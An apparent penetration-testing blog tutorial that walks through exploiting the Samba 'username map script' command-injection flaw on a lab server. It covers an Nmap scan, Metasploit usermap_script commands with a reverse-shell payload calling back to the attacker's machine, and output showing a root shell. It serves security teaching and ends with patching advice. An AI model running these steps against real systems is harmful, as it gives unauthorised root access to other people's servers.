Samba Server Exploitation

pentestlab.blog/category/exploitation-techniques/page/12

April 5, 2012

Many Unix systems are using Samba as a service for file sharing.So it is a service which at some point of time we will have to face and exploit it.In this article we will see how we can exploit this service on a server that is running a vulnerable version of Samba.

We have scan with the Nmap our target which is an Ubuntu server and we have identify that is running a Samba server on ports 139 and 445.

```
root@bt:~# nmap -sV 192.168.1.73

Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-04-05 01:57 BST
Nmap scan report for 192.168.1.73
Host is up (0.00084s latency).
Not shown: 988 closed ports
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         ProFTPD 1.3.1
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.10 with Su
hosin-Patch)
139/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
```

Identifying Samba Service

We are opening the metasploit framework and we will search for **samba** modules.The exploit that we are going to use is the **exploit/multi/samba/usermap_script** because affects systems that are running version 3.0.X and with the service fingerprinting that we have done with nmap before we know that the version is 3.X so we will give it try in case that the server is running some of the vulnerable versions.Below you can see a description of the exploit that we are going to use.

```
Description:
  This module exploits a command execution vulerability in Samba
  versions 3.0.20 through 3.0.25rc3 when using the non-default
  "username map script" configuration option. By specifying a username
  containing shell meta characters, attackers can execute arbitrary
  commands. No authentication is needed to exploit this vulnerability
  since this option is used to map usernames prior to authentication!
```

Description of the Samba Exploit

We are configuring the exploit and as a payload we are going to use the **cmd/unix/reverse** which if succeeds will open a telnet connection with the remote target.

```
msf > use  exploit/multi/samba/usermap_script
msf  exploit(usermap_script) > set RHOST 192.168.1.73
RHOST => 192.168.1.73
msf  exploit(usermap_script) > set RPORT 445
RPORT => 445
msf  exploit(usermap_script) > set payload cmd/unix/reverse
payload => cmd/unix/reverse
msf  exploit(usermap_script) > set LHOST 192.168.1.71
LHOST => 192.168.1.71
msf  exploit(usermap_script) > exploit
```

Setting up the Samba Exploit

We are executing the exploit and as you can see from the next image it gave us direct root access to the server.

```
[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 9d0zcByAk0LNipps;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "9d0zcByAk0LNipps\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.1.71:4444 -> 192.168.1.73:57021) at 2012-
04-05 02:29:50 +0100

whoami
root
```

Samba Exploit Execution

Conclusion

The main advantage of Samba is that makes the file sharing between different systems an easy process for system administrators.So many companies are implementing this service in order to allow their users to transfer files.

As we saw this exploit gave us root access to the remote system very easily.Considering the fact that many companies are running this service and the vulnerabilities that most of the samba versions are suffering, system administrators must be constantly ready to patch and update this service in their systems.